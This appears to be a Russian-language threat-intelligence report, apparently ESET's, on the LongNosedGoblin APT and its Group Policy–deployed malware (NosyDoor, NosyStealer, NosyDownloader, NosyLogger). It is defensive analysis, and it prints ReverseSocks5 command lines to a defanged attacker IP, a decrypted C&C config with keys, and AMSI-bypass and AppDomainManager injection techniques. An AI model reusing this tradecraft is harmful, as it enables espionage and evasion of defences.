В 2024 году исследователи ESET заметили ранее не документированное вредоносное ПО в сети правительственного учреждения Юго-Восточной Азии. Это привело нас к обнаружению еще большего количества нового вредоносного ПО в той же системе, ни одно из которых не имело существенных связей с ранее отслеживаемыми злоумышленниками. Основываясь на наших выводах, мы решили отнести вредоносные инструменты к новой связанной с Китаем APT-группе, которую мы назвали LongNosedGoblin.
Группа использует разнообразный набор пользовательских инструментов, состоящий в основном из приложений C#/.NET, и, что особенно важно, использует групповую политику для развертывания своего вредоносного ПО и бокового перемещения по системам целевых объектов. В этом блоге мы подробно описываем наше обнаружение LongNosedGoblin, рассматриваем ее известные кампании и погружаемся в набор инструментов группы.
Ключевые моменты отчета:
- LongNosedGoblin — это недавно обнаруженная связанная с Китаем APT-группа, нацеленная на правительственные учреждения в Юго-Восточной Азии и Японии с целью кибершпионажа.
- Группа активна как минимум с сентября 2023 года.
- LongNosedGoblin использует групповую политику для развертывания вредоносного ПО в скомпрометированной сети, а облачные сервисы (например, Microsoft OneDrive и Google Drive) — в качестве серверов команд и управления (C&C).
- Один из инструментов группы, NosyHistorian, используется для сбора истории браузера и принятия решений о дальнейшем развертывании вредоносного ПО, такого как бэкдор NosyDoor.
- NosyDoor, скорее всего, используется несколькими связанными с Китаем злоумышленниками.
- Мы предоставляем подробный анализ NosyHistorian, NosyDoor, NosyStealer, NosyDownloader, NosyLogger и других инструментов, используемых LongNosedGoblin.
Пахнет неприятностями: Знакомьтесь, LongNosedGoblin
LongNosedGoblin — это связанная с Китаем APT-группа, которая нацелена на правительственные учреждения в Юго-Восточной Азии и Японии с целью проведения кибершпионажа. Как мы уже упоминали: в своих кампаниях LongNosedGoblin злоупотребляет групповой политикой — механизмом управления настройками и разрешениями на компьютерах Windows, обычно используемым с Active Directory — для развертывания вредоносного ПО и бокового перемещения по скомпрометированной сети.
Одним из основных инструментов в ее арсенале является NosyHistorian, приложение C#/.NET, которое группа использует для сбора истории браузера, которая затем используется для определения места дальнейшего развертывания вредоносного ПО. Это включает в себя другой основной инструмент LongNosedGoblin, бэкдор, который мы назвали NosyDoor, который в наблюдаемых нами кампаниях использовал Microsoft OneDrive в качестве сервера C&C. NosyDoor также использует техники «жить за счет земли» (living-off-the-land) в своей цепочке выполнения, а именно инъекцию AppDomainManager. Наконец, несколько инструментов группы могут обходить интерфейс сканирования антивирусного ПО (AMSI), который позволяет антивирусным продуктам сканировать различные скрипты перед выполнением.
Обнаружение
В феврале 2024 года мы обнаружили неизвестное вредоносное ПО в системе правительственного учреждения в Юго-Восточной Азии. Вредоносное ПО использовалось для установки пользовательского бэкдора, который мы позже назвали NosyDoor. В то же время мы заметили, что компрометация затронула не одну, а несколько машин одного и того же учреждения, причем вредоносное ПО было развернуто через групповую политику.
Дополнительный анализ показал, что те же жертвы также были заражены другим вредоносным инструментом, распространяемым через групповую политику, который использовался для сбора истории браузера. Мы назвали этот инструмент NosyHistorian. Хотя мы обнаружили множество жертв, пострадавших от NosyHistorian в ходе нашего первоначального расследования между январем и мартом 2024 года, лишь небольшая часть из них была скомпрометирована NosyDoor. Некоторые образцы дроппера NosyDoor даже содержали защитные механизмы выполнения, ограничивающие работу только на компьютерах определенных жертв.
Позже мы обнаружили еще больше неизвестного вредоносного ПО на машинах жертв: NosyStealer, который извлекает данные браузера; NosyDownloader, который загружает и запускает полезную нагрузку в памяти; NosyLogger, кейлоггер; другие инструменты, такие как обратный SOCKS5-прокси; и средство запуска аргументов (инструмент, который запускает приложение, переданное как аргумент), которое использовалось для запуска видеомагнитофона, вероятно, FFmpeg, для записи аудио и видео. Загрузчик впервые был зафиксирован в нашей телеметрии еще в сентябре 2023 года.
Атрибуция
Из-за уникального набора инструментов, а также использования групповой политики для бокового перемещения, мы решили отнести атаки к новой связанной с Китаем APT-группе и назвали ее LongNosedGoblin. Мы заметили некоторое совпадение в путях к файлам, упомянутых в посте в блоге Kaspersky о деятельности ToddyCat, APT-группы с похожим таргетингом, но вредоносное ПО в том отчете не имеет сходства кода с рассматриваемым здесь вредоносным ПО.
Также следует отметить, что в июне 2025 года российская компания по кибербезопасности Solar опубликовала пост в блоге об APT-группе, которую она называет Erudite Mogwai, использовавшей полезную нагрузку, очень похожую на NosyDoor от LongNosedGoblin. По словам авторов, Erudite Mogwai нацеливалась на ИТ-инфраструктуру российской государственной организации и российских ИТ-компаний, используя в своих операциях бэкдор LuckyStrike Agent.
Однако мы не можем подтвердить, что Erudite Mogwai и LongNosedGoblin — это одно и то же, поскольку между двумя группами существует определенная разница в TTP. В частности, исследование Erudite Mogwai не упоминает злоупотребление групповой политикой Active Directory для развертывания вредоносного ПО — техника, которая довольно специфична для операций LongNosedGoblin.
Позже мы выявили еще один вариант NosyDoor, нацеленный на организацию в стране ЕС, снова используя различные TTP и облачный сервис Yandex Disk в качестве сервера C&C. Использование этого варианта NosyDoor предполагает, что вредоносное ПО может использоваться совместно несколькими связанными с Китаем группами угроз. Это также подтверждается наблюдением Solar слова Paid в пути PDB NosyDoor, что указывает на то, что вредоносное ПО может предоставляться в качестве коммерческой услуги — потенциально указывая на то, что оно продается или лицензируется другим злоумышленникам.
Поздние кампании
На протяжении 2024 года LongNosedGoblin активно развертывала NosyDownloader в Юго-Восточной Азии. В декабре того же года мы обнаружили обновленную версию NosyHistorian в Японии, но затем не наблюдали последующей активности.
В сентябре 2025 года мы начали замечать возобновление активности группы в Юго-Восточной Азии. Как и в предыдущих кампаниях, злоумышленник использовал групповую политику для доставки NosyHistorian на целевые машины.
Во время этой волны атак мы заметили поведение, соответствующее использованию Cobalt Strike: загрузчик под названием oci.dll был загружен на одну машину, а полезная нагрузка под названием ocapi.edb была загружена с диска. Затем LongNosedGoblin развернула потенциальный загрузчик Cobalt Strike на выбранные машины через групповую политику.
Кроме того, мы видели, что был загружен другой похожий компонент, mscorsvc.dll, с полезной нагрузкой, хранящейся в conf.ini. Этот загрузчик затем был развернут на машинах жертв с использованием групповой политики, применяя тот же механизм доставки, что и oci.dll.
Носимся вокруг: Инструментарий LongNosedGoblin
NosyHistorian
NosyHistorian — это приложение C#/.NET с самообъясняющимся внутренним названием GetBrowserHistory, поскольку оно действительно собирает историю браузера. В наблюдаемых кампаниях злоумышленники использовали этот инструмент для получения информации о машинах в скомпрометированной инфраструктуре. Основываясь на этой информации, они выбирали небольшую группу конкретных жертв для дальнейшей компрометации с помощью своего бэкдора NosyDoor.
Мы видели, как инструмент развертывался через групповую политику под именем файла History.ini, маскируя файл под INI-файл. На самом деле, это переносимый исполняемый файл (PE), цель которого, скорее всего, — слиться с другими INI-файлами, обычно хранящимися в каталоге кэша групповой политики.
NosyHistorian перебирает всех пользователей на машине и извлекает историю браузера из Google Chrome, Microsoft Edge и Mozilla Firefox. Каждый файл базы данных истории копируется во временный каталог, а затем загружается в определенный жестко заданный SMB-ресурс в локальной сети скомпрометированной организации. Имя файла NosyHistorian для файла истории каждого веб-браузера указано в Таблице 1, где <profile_name> соответствует профилям веб-браузеров.
Таблица 1. Имена файлов истории, созданные NosyHistorian
| Веб-браузер | Имя файла |
| Google Chrome | <username>_<machine_name>_<profile_name>_History |
| Microsoft Edge | <username>_<machine_name>_edge_History |
| Mozilla Firefox | <username>_<machine_name>_firefox_<profile_name>_places.sqlite |
И этот инструмент, и NosyDoor имеют схожие пути PDB и были скомпилированы из каталога E:Csharp, причем путь PDB NosyHistorian: E:CsharpSharpMiscGetBrowserHistoryobjDebugGetBrowserHistory.pdb.
NosyDoor
Как уже упоминалось, бэкдор NosyDoor использует облачные сервисы, такие как Microsoft OneDrive, для своего сервера C&C. Вредоносное ПО имеет довольно простую трехэтапную цепочку выполнения, показанную на Рисунке 1. Первый этап — это дроппер, который развертывает второй этап, включающий атаку «жить за счет земли» с использованием техники инъекции AppDomainManager, которая, в свою очередь, используется для выполнения окончательной полезной нагрузки, самого бэкдора.
NosyDoor собирает метаданные о машине жертвы, включая имя машины, имя пользователя, версию ОС и имя текущего процесса, и отправляет все это на C&C. Затем он извлекает и анализирует файлы задач с командами с C&C. Команды позволяют ему, среди прочего, извлекать файлы, удалять файлы и выполнять команды оболочки.

Этап 1 NosyDoor – дроппер
Первый этап вредоносного ПО — это дроппер, а именно приложение C#/.NET с внутренним названием OneClickOperation. Как и NosyHistorian, он развертывается через групповую политику. Мы видели, как дроппер маскировался под файл групповой политики реестра, используя имя файла Registry.pol, хотя мы также наблюдали Registry.plo, что необычно (это может быть опечатка, или злоумышленники не хотели, чтобы имя файла конфликтовало с другим вредоносным файлом).
Дроппер декодирует встроенные файлы из base64 и расшифровывает их с помощью Data Encryption Standard (DES) с ключом и вектором инициализации, установленными в UevAppMo (первые восемь байтов строки UevAppMonitor), затем помещает их в C:WindowsMicrosoft.NETFramework под следующими именами файлов:
- SharedReg.dll
- log.cached
- netfxsbs9.hkf
- UevAppMonitor.exe.config
Эти имена файлов были выбраны намеренно, чтобы слиться с существующими файлами, поскольку каталог обычно содержит файлы с именами SharedReg12.dll и netfxsbs12.hkf.
На заключительных этапах дроппер создает и запускает задачу Windows с именем OneDrive Reporting Task-S-1-5-21-<GUID> в папке задач Microsoft, где <GUID> — это строка случайного GUID. Планировщик отвечает за выполнение законного UevAppMonitor.exe в каталоге C:WindowsMicrosoft.NETFramework во время запуска системы. Дроппер копирует законный файл из C:WindowsSystem32 в новое место.
Более новые образцы также включают защитный механизм выполнения, который заставляет дроппер функционировать только на компьютерах жертв с определенным именем машины (см. Рисунок 2).

Этап 2 NosyDoor – инъекция AppDomainManager
UevAppMonitor.exe — это законное приложение C#/.NET, которое вредоносное ПО скопировало из C:WindowsSystem32 в каталог C:WindowsMicrosoft.NETFramework и использовало в качестве бинарного файла «жить за счет земли» или LOLBin. Атаки «жить за счет земли» используют законные инструменты, уже присутствующие в системе. В данном случае приложение используется для запуска инъекции AppDomainManager через конфигурационный файл. Эта техника может заставить приложения, созданные в фреймворке .NET, загружать вредоносный код вместо предполагаемого законного кода, используя класс AppDomainManager.
Когда приложение запускается, оно загружает конфигурационный файл, показанный на Рисунке 3, который заставляет приложение вызывать метод InitializeNewDomain пользовательского класса SharedReg в SharedReg.dll. Конфигурация также устанавливает для элемента <etwEnable> атрибут enabled значение false, чтобы трассировка событий для Windows была отключена.

SharedReg.dll содержит код для обхода AMSI из фреймворка обхода AV/EDR с открытым исходным кодом под названием inceptor. Кроме того, он декодирует файл netfxsbs9.hkf из base64, расшифровывает результат с помощью AES с ключом UevAppMonitor, дополненным нулевыми байтами до длины 16, вектором инициализации 0, и, наконец, снова декодирует результат из base64. Результатом является NosyDoor, который затем выполняется. Любые ошибки записываются в файл error.txt в каталоге C:WindowsMicrosoft.NETFramework.
Этап 3 NosyDoor – полезная нагрузка
Третий этап NosyDoor, основная полезная нагрузка, — это бэкдор C#/.NET с внутренним названием OneDrive и путем PDB E:CsharpThomasServerThomasOneDriveobjReleaseOneDrive.pdb. Как следует из названия, бэкдор использует облачные сервисы, в данном случае Microsoft OneDrive, в качестве сервера C&C.
Полный список собираемых бэкдором метаданных состоит из следующего:
- внешний IPv4-адрес,
- локальный IPv4-адрес,
- идентификатор агента,
- имя пользователя,
- имя машины,
- текущий каталог,
- текущий процесс (имя, ID, архитектура),
- локальное время начала этапа 3,
- текущее местное время,
- версия ОС,
- CodeType (см. Таблицу 3), и
- AgentType (см. Таблицу 3).
Все собранные метаданные шифруются с помощью RSA, а затем загружаются в OneDrive как файл Read_<agent_id>.max. Как только NosyDoor отправляет метаданные, он ищет команды от C&C в файлах задач с расширением .max в следующем каталоге:
<FolderName>-<ListenerID>/<agent_id>/<Payload.TaskFolderName>
Каждый файл задачи содержит зашифрованную команду, которая инкапсулирована значениями, взятыми из конфигурации бэкдора:
<Payload.Prepend><Payload.PayloadPrepend><encrypted_command><Payload.PayloadAppend><Payload.Append>
Команда затем декодируется с помощью base64 и расшифровывается с помощью AES с ключом <Payload.Key> и вектором инициализации 0. Все команды описаны в Таблице 2. Хотя команда CMD_TYPE_TASKSCHEDULER упомянута в коде, она не реализована ни в одном из наблюдаемых образцов.
Таблица 2. Команды, поддерживаемые NosyDoor
| Команда | Описание |
| CMD_TYPE_SHELL | Выполнить команду оболочки. |
| CMD_TYPE_EXEC_ASM | Загрузить сборку .NET. |
| CMD_TYPE_EXIT | Выйти из NosyDoor. |
| CMD_TYPE_REMOVE | Удалить файл и перечислить его исходный каталог. |
| CMD_TYPE_DOWNLOAD | Извлечь файл. Обратите внимание, что команды загрузки и выгрузки здесь названы с точки зрения атакующего, рассматривая C&C-машину как локальную, а машину жертвы — как удаленную. |
| CMD_TYPE_UPLOAD | Загрузить файл на машину жертвы, удалить его из OneDrive и перечислить каталог, куда был загружен файл. |
| CMD_TYPE_DRIVES | Получить имена и размеры логических дисков, присутствующих на машине. |
| CMD_TYPE_FILE_BROWSE | Получить список каталогов, включая значки файлов. |
| CMD_TYPE_SLEEP | Установить интервал маяка. |
| CMD_TYPE_TASKSCHEDULER | Не реализовано. |
| CMD_TYPE_Plugin | Загрузить сборку .NET, напрямую вызывая метод Plugin.Run. |
После выполнения команды NosyDoor выполняет обратные шаги — шифрует вывод команды с помощью AES, кодирует в base64 и инкапсулирует строками <Payload.Prepend><Payload.PayloadPrepend> и <Payload.PayloadAppend><Payload.Append>. Каждый результат сохраняется на C&C-сервере в файле с именем файла, указывающим местное время (Unix timestamp, умноженный на 100 000), и заканчивающимся расширением .max:
<FolderName>-<ListenerID>/<agent_id>/<Payload.ReceiveFolderName>/<unix_timestamp>.max
Если во время работы NosyDoor возникает исключение, бэкдор записывает сообщение об исключении вместе с местным временем в C:UsersPublicLibrariesthomas.log.
Бэкдор содержит пользовательскую зависимость под названием Library, которая встроена как ресурс с использованием Costura. Она в основном содержит код, связанный с обработкой команд, связью с Microsoft OneDrive и различными вспомогательными методами, в то время как основной бинарный файл обрабатывает цикл маяка и читает конфигурационный файл, используя библиотеку.
Конфигурация хранится в файле log.cached в зашифрованном виде. NosyDoor расшифровывает ее с помощью XOR с ключом SecretKey, декодирует из base64, затем расшифровывает с помощью AES с ключом Thomas, дополненным нулевыми байтами до длины 16, и IV 0. Эту конфигурацию можно увидеть на Рисунке 4.
{ "ListenerID": 3, "FolderName": "Duis euismod, mi, ligula, mattis feugiat, pulvinar.", "AppID": "[redacted]", "RefreshToken": "[redacted]", "BaseUrl": "https://graph.microsoft.com/v1.0/drive", "TokenUrl": "https://login.microsoftonline.com/common/oauth2/v2.0/token", "CodeType": ".NET40", "AgentType": "OneDrive", "Scope": "offline_access files.readwrite", "Sleep": 66, "BeginDate": "08:51:00", "EndDate": "18:51:00", "Payload": { "Key": "583oq23aonxloet7", "MetaDataName": null, "TaskFolderName": "Risus blandit mattis", "ReceiveFolderName": "Felis posuere at", "Prepend": "<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http : //www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>IIS Windows Server</title> <style type="text/css"> <!-- body { color:#000000; background-color:#0072C6; margin:0; } #container { margin-left:auto; margin-right:auto; text-align:center; } a img { border:", "Append": "; } --> </style> </head> <body> <div id="container"> <a href="http://go.microsoft.com/fwlink/?linkid=66138u0026amp;clcid=0x409"><img src="iisstart.png" alt="IIS" width="960" height="600" /></a> </div> </body> </html>", "PayloadPrepend": "Fames", "PayloadAppend": "Ipsum" } }
Рисунок 4. Расшифрованная конфигурация (log.cached, форматированная)
Значения конфигурации <BeginDate> и <EndDate> определяют диапазон местного времени, когда NosyDoor работает. В данном случае NosyDoor активен только с 8:51 до 18:51. Однако после аутентификации NosyDoor будет обрабатывать команды, которые все еще находятся в очереди, и отправлять файлы ответов независимо от времени.
NosyStealer
NosyStealer используется для кражи данных браузера из Microsoft Edge и Google Chrome. Как показано на Рисунке 5, он имеет четырехэтапную цепочку выполнения, причем компонент кражи является полезной нагрузкой последнего этапа.

Этап 1 NosyStealer – загрузчик DLL
Первый этап (pmp.exe) в цепочке NosyStealer — это приложение C/C++. Наблюдаемый образец просто загружает библиотеку с именем SERV.dll с диска и вызывает экспортируемую функцию Hello.
Этап 2 NosyStealer – инъектор
Мы наблюдали два образца Этапа 2 NosyStealer — один (SERV.dll) в нашей телеметрии, а другой (msi.dll) был загружен на VirusTotal из Малайзии. Ни один из них не имеет экспортируемой функции Hello, но оба имеют основной код в DllMain, то есть вредоносный код запускается сразу после загрузки DLL. Они имеют следующие экспорты:
- ??0Cv2dllnoinject@@QEAA@XZ
- ??4Cv2dllnoinject@@QEAAAEAV0@$$QEAV0@@Z
- ??4Cv2dllnoinject@@QEAAAEAV0@AEBV0@@Z
- ?fnv2dllnoinject@@YAHXZ
- ?nv2dllnoinject@@3HA
Данные следующего этапа загружаются из жестко заданного пути C:ProgramDataMicrosoftWDFMDE.dat. Они расшифровываются с помощью однобайтового XOR-шифра с ключом 0x7A. Результатом является шеллкод Donut, который внедряется в запущенный процесс pmp.exe (Этап 1 NosyStealer) с использованием API CreateRemoteThread в случае SERV.dll, и в недавно созданный процесс notepad.exe с использованием API SetThreadContext в случае msi.dll.
Этап 3 NosyStealer – загрузчик
Как упоминалось в разделе Этап 2 NosyStealer – инъектор, этот этап представляет собой шеллкод, содержащий встроенный PE-файл, который расшифровывается, загружается и выполняется в памяти с помощью отражающего загрузчика Donut. Извлеченный бинарный файл — это приложение C/C++.
Как и в Этапе 2 NosyDoor – инъекция AppDomainManager, этот этап использует известную технику для обхода AMSI. Он патчит функцию AmsiScanBuffer в загруженной amsi.dll кодом, который возвращает E_INVALIDARG (см. Рисунок 6).

Затем он создает задачу Windows с именем Daily Check Task, которая ежедневно запускает C:ProgramDataMicrosoftWDFpmp.exe (Этап 1 NosyStealer) с правами локальной системной учетной записи.
После патчинга функции AMSI и сохранения он продолжает работу аналогично предыдущему этапу — расшифровывает следующий этап из жестко заданного пути C:ProgramDataMicrosoftWDFmfd.dat с помощью однобайтового XOR-шифра с ключом 0x7A, где результирующий блок — это другой шеллкод Donut, который затем выполняется.
Этап 4 NosyStealer – полезная нагрузка
Опять же, как и в Этапе 3 NosyStealer – загрузчик, этот этап представляет собой шеллкод, который расшифровывает, загружает и выполняет встроенный PE-файл в памяти с помощью отражающего загрузчика Donut. На этот раз извлеченный бинарный файл — это приложение Go, которое крадет данные браузера из веб-браузеров Microsoft Edge и Google Chrome. Для этого оно загружает файл с именем config из Google Docs. Когда файл содержит идентификатор жертвы, NosyStealer считывает данные профиля Microsoft Edge и Google Chrome, архивирует их с помощью tar и шифрует с помощью пользовательского шифра.
Затем NosyStealer извлекает зашифрованный tar-архив в Google Drive. Рисунок 7 — пример конфигурации в формате JSON, встроенной в бинарный файл, необходимой для доступа к Google Drive и Google Docs.
{ "type": "service_account", "project_id": "dev0-411506", "private_key_id": "[redacted]", "private_key": "[redacted]", "client_email": "dev0-660@dev0-411506.iam.gserviceaccount.com", "client_id": "[redacted]", "auth_uri": "https://accounts.google.com/o/oauth2/auth", "token_uri": "https://oauth2.googleapis.com/token", "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs", "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/dev0-660%40dev0-411506.iam.gserviceaccount.com", "universe_domain": "googleapis.com" }
Рисунок 7. Конфигурация NosyStealer
NosyStealer также записывает ошибки и сообщения о статусе в файл Google Docs под названием log, куда может попадать информация от нескольких жертв. Сообщение о статусе содержит константу 9, возможно, это версия NosyStealer. Полный формат сообщения о статусе, где <machine_local_ips> — это список локальных IPv4-адресов сетевых адаптеров, выглядит так:
<local_date> — <victim_id> — 9 — heartbeat <machine_local_ips>
NosyDownloader
Анализируя телеметрические данные ESET, мы также обнаружили в сетях, скомпрометированных LongNosedGoblin, различные изначально безвредные приложения, в которые был внедрен вредоносный код. Этот код содержит загрузчик, который мы назвали NosyDownloader. Он выполняет цепочку обфусцированных команд, передаваемых в запущенный процесс PowerShell как один длинный аргумент командной строки, что означает, что скрипт не хранится на диске. Каждый последующий этап закодирован с помощью base64, а последний дополнительно сжат с помощью gzip.
Каждый этап кратко описан в Таблице 3. Как и NosyDoor Stage 2 и NosyStealer Stage 3, второй этап здесь также обходит AMSI. В данном случае NosyDownloader использует метод рефлексии Мэтта Гребера и методы отключения логирования скриптов, доступные на GitHub, для обхода AMSI.
Таблица 3. Этапы скрипта NosyDownloader
| Этап | Описание |
| 1 | Декодирует и выполняет Этап 2 в новом процессе PowerShell, который запускается в скрытом окне. |
| 2 | Обходит AMSI, затем декодирует и выполняет Этап 3. |
| 3 | Декодирует, распаковывает и выполняет Этап 4. |
| 4 | Загружает полезную нагрузку и выполняет ее в памяти с помощью Invoke-Expression. |
Мы предполагаем, что NosyDownloader использовался для развертывания ReverseSocks5, NosyLogger и обработчика аргументов, поскольку мы наблюдали их в течение недели после выполнения NosyDownloader.
NosyLogger
Мы также идентифицировали C#/.NET keylogger, который мы назвали NosyLogger. Похоже, это модифицированная версия open-source keylogger DuckSharp, основные отличия заключаются в том, что он не отправляет электронные письма и не переводит нажатые клавиши на кириллицу.
Вредоносное ПО сначала проверяет наличие отладчика с помощью API IsDebuggerPresent и CheckRemoteDebuggerPresent; если отладчик не обнаружен, оно начинает выполнять функцию кейлоггера.
Имя окна, нажатые клавиши и скопированное содержимое буфера обмена накапливаются в памяти. NosyLogger шифрует эти пакеты данных с помощью AES с ключом D53FCC01038E20193FBD51B7400075CF7C9C4402B73DA7B0DB836B000EBD8B1C и случайно сгенерированного вектора инициализации фиксированной длины. Вектор добавляется к зашифрованному пакету данных. Затем зашифрованный пакет данных добавляется в файл по жестко заданному пути C:WindowsTempTS_D418.tmp в виде шестнадцатеричной строки. В этом файле каждый зашифрованный пакет данных отделяется новой строкой, за которой следует строка ENDBLOCK. Этот процесс шифрования и сохранения накопленных данных в файл происходит каждые 10 секунд. Этот файл не эксфильтруется NosyLogger.
Другие развернутые инструменты
ReverseSocks5
Среди другого вредоносного ПО, развернутого LongNosedGoblin, мы обнаружили open-source reverse SOCKS5 прокси, написанный на Go, под названием ReverseSocks5. Мы обнаружили его, когда заметили использование следующих аргументов командной строки:
-connect 118.107.234[.]29:8080 -psk «58fi04qQ» /F
Опция -psk используется для установки предварительно разделяемого ключа для шифрования и аутентификации. Аргумент /F не обрабатывается ReverseSocks5 и, вероятно, является непреднамеренным; этот аргумент обычно используется с schtasks create.
Затем мы заметили другой набор аргументов командной строки (без аргумента /F):
-connect 118.107.234[.]29:8080 -psk «15Kaf22N3b»
Этот второй набор соответствует выполнению ReverseSocks5, где мы наблюдали PowerShell в качестве родительского процесса. NosyDownloader также выполнялся в это время, что указывает на то, что образец, вероятно, был развернут вместе с ним.
Обработчик аргументов
Это приложение на C#/.NET с внутренним именем Binary; единственная цель этого инструмента — запуск приложения, переданного в качестве аргумента. Мы видели имя файла TCOEdge.exe в командной строке вместе с аргументами, специфичными для мультимедийного фреймворка FFmpeg; он использовался для записи экрана и захвата звука, сохраняя его в C:WindowsTempoutput.avi.
Заключение
LongNosedGoblin — это APT-группировка, связанная с Китаем, которая нацелена на правительственные организации в Юго-Восточной Азии и Японии. Наш анализ их кампаний выявил многочисленные образцы пользовательского вредоносного ПО, которое группа использует для кибершпионажа против своих жертв. Примечательно, что LongNosedGoblin использует групповые политики для перемещения внутри скомпрометированной сети.
По всем вопросам, касающимся наших исследований, опубликованных на WeLiveSecurity, пожалуйста, свяжитесь с нами по адресу threatintel@eset.com.ESET Research предлагает частные отчеты по APT-разведке и потоки данных. По всем вопросам, касающимся этой услуги, посетите страницу ESET Threat Intelligence.
IoCs
Полный список индикаторов компрометации (IoCs) и образцов можно найти в нашем репозитории GitHub.
Файлы
| SHA-1 | Имя файла | Обнаружение | Описание |
| 4E3F6E9D0F443F4C4297 |
History.ini | MSIL/Spy.Agent.EUU | NosyHistorian. |
| CD745BD2636F607CC4FB |
History.ini | MSIL/Spy.Agent.EUU | NosyHistorian. |
| 154A35DD4117DB760699 |
Registry.plo | MSIL/TrojanDropper |
NosyDoor stage 1. |
| B1D4A283A9CCC9E34993 |
Registry.pol | MSIL/TrojanDropper |
NosyDoor stage 1. |
| 77D2A8CB316B7A470E76 |
Registry.plo | MSIL/TrojanDropper |
NosyDoor stage 1. |
| F93E449C5520C4718E28 |
Registry.pol | MSIL/TrojanDropper |
NosyDoor stage 1. |
| 1959E2198D6F81B2604D |
SharedReg.dll | MSIL/Kryptik.AJBA | NosyDoor stage 2. |
| E0B44715BC4C327C04E6 |
N/A | MSIL/Agent.ESF | NosyDoor stage 3. |
| 43C8AE8561E7E3BF9CD7 |
N/A | MSIL/Agent.ESF | NosyDoor stage 3. |
| D11FC2D6159CB8BA392B |
N/A | MSIL/Agent.ESF | NosyDoor stage 3. |
| A0A80AC293645076EBAE |
pmp.exe | Win64/Agent.DNY | NosyStealer stage 1. |
| DDBBAE33E04A49D17DD2 |
SERV.dll | Win64/Agent.DNX | NosyStealer stage 2. |
| 60158C509446893B3B57 |
HPSupportAssistant |
PowerShell/TrojanDown |
NosyDownloader. |
| F5B7440EE25116A49EC5 |
RTLWVern.exe | PowerShell/Agent.BDR | NosyDownloader. |
| 85939C56BFCACD0993E6 |
hpSmartAdapter.exe | Win32/Agent.AGIJ | NosyDownloader. |
| C66F9FEC0F8CBF577840 |
hputils.exe | Win32/Agent.AGII | NosyDownloader. |
| 4C2FCCE3BAB4144D90C7 |
IGCCSvc.exe | MSIL/Spy.Key |
NosyLogger. |
| 161A25CB0B8FA998BF1B |
AdobeHelper.exe | WinGo/ReverseShell.DX | ReverseSocks5. |
| 4D61A9FBBCC4F7A37BE2 |
msi.dll | Win64/Agent.DOT | NosyStealer stage 2. |
| 5AE440805719250AAEFE |
TCOCertified.exe | MSIL/Runner.BW | Argument runner. |
| E93D32C739825519A10A |
N/A | WinGo/PSW.Agent.FZ | NosyStealer stage 4. |
| 212126896D38C1EE5732 |
N/A | Win32/Agent.AGHB | NosyStealer stage 3. |
| CFFE15AA4D0F9E6577CC |
HPNDFInterface.exe | PowerShell/TrojanDown |
NosyDownloader. |
| 6AC22CE60B706E3B9A79 |
bemsvc.exe | PowerShell/TrojanDown |
NosyDownloader. |
| 2C1959DD85424CEDC96B |
HPDeviceCheck.exe | Win32/Agent.AGWU | NosyDownloader. |
| 46107B1292B830D9BCEB |
HP.OCF.exe | Win32/Patched.NLL | NosyDownloader. |
| 581464978C29B2BC79C6 |
HP.OCF.exe | Win32/Patched.NLL | NosyDownloader. |
| 0D91A0E52212EC44E32C |
ax_installer.exe | PowerShell/TrojanDown |
NosyDownloader. |
| 48D715466857FB0C6CD0 |
btdevmanager.exe | MSIL/Spy.Keylogger |
NosyLogger. |
| 563677CFACD328EA2478 |
info.txt | MSIL/Spy.Agent.EUU | NosyHistorian. |
| AC2264C56121141DAF75 |
ntrtscan.exe | MSIL/Spy.Agent.EUU | NosyHistorian. |
| 70A615BC580522E1EEE4 |
ntrtscan.exe | MSIL/Spy.Agent.EUU | NosyHistorian. |
| E9C5E4AA335DFBD25786 |
oci.dll | Win64/Kryptik_A |
Loader of unknown malware (possibly Cobalt Strike). |
| EC9CEB599DF3BDFFAD53 |
mscorsvc.dll | Win64/Kryptik.EHP | Loader of unknown malware (possibly Cobalt Strike). |
Сеть
| IP | Домен | Хостинг-провайдер | Первый раз замечен | Детали |
| 118.107.234[.]26 | www.sslvpn |
IRT‑IPSERVERONE‑MY | 2022‑04‑09 | Сервер C&C для NosyDownloader. |
| 103.159.132[.]30 | www.thread |
IRT-FBP-MY | 2023‑10‑03 | Сервер C&C для NosyDownloader. |
| 101.99.88[.]113 | www.blaze |
Shinjiru Technology Sdn Bhd | 2024‑08‑23 | Сервер C&C для NosyDownloader. |
| 118.107.234[.]29 | N/A | IRT‑IPSERVERONE‑MY | 2023‑03‑20 | Сервер ReverseSocks5. |
| 101.99.88[.]188 | www.privacy |
Администратор Shinjiru Technology Sdn Bhd | 2024‑10‑23 | Сервер C&C для NosyDownloader. |
| 38.54.17[.]131 | N/A | Kaopu Cloud HK Limited | 2025‑03‑05 | Сервер, на котором размещено вредоносное ПО, возможно, Cobalt Strike. |
Техники MITRE ATT&CK
Эта таблица была составлена с использованием версии 18 фреймворка MITRE ATT&CK.
| Тактика | ID | Название | Описание |
| Разработка ресурсов | T1585.003 | Создание учетных записей: облачные учетные записи | LongNosedGoblin создавал учетные записи в облачных сервисах для связи C&C. |
| T1588.001 | Получение возможностей: вредоносное ПО | LongNosedGoblin, вероятно, использовал общее вредоносное ПО, которое мы назвали NosyDoor. | |
| Выполнение | T1059.001 | Интерпретатор команд и скриптов: PowerShell | NosyDownloader выполняет команды PowerShell. |
| T1059.003 | Интерпретатор команд и скриптов: командная оболочка Windows | NosyDoor может выполнять команды через cmd.exe. | |
| T1106 | Native API | NosyStealer Stage 1 выполняет следующий этап через API LoadLibraryW. | |
| Сохранение | T1053.005 | Планировщик задач/задание: Планировщик задач | NosyDoor и NosyStealer сохраняются с использованием запланированных задач Windows. |
| T1574.014 | Перехват потока выполнения: AppDomainManager | NosyDoor Stage 2 использует инъекцию AppDomainManager для запуска вредоносного кода. | |
| Обход защиты | T1027.013 | Обфускация файлов или информации: зашифрованный/закодированный файл | Вредоносные файлы, встроенные в NosyDoor Stage 1, зашифрованы с помощью DES. |
| T1027.015 | Обфускация файлов или информации: сжатие | NosyDownloader Stage 4 сжат с использованием gzip. | |
| T1622 | Обход отладчика | NosyLogger не работает, если присутствует отладчик. | |
| T1480 | Ограничения выполнения | Некоторые образцы NosyDoor работают только на машинах с определенными именами. | |
| T1564.003 | Скрытие артефактов: скрытое окно | NosyDownloader создает процесс PowerShell со скрытым окном. | |
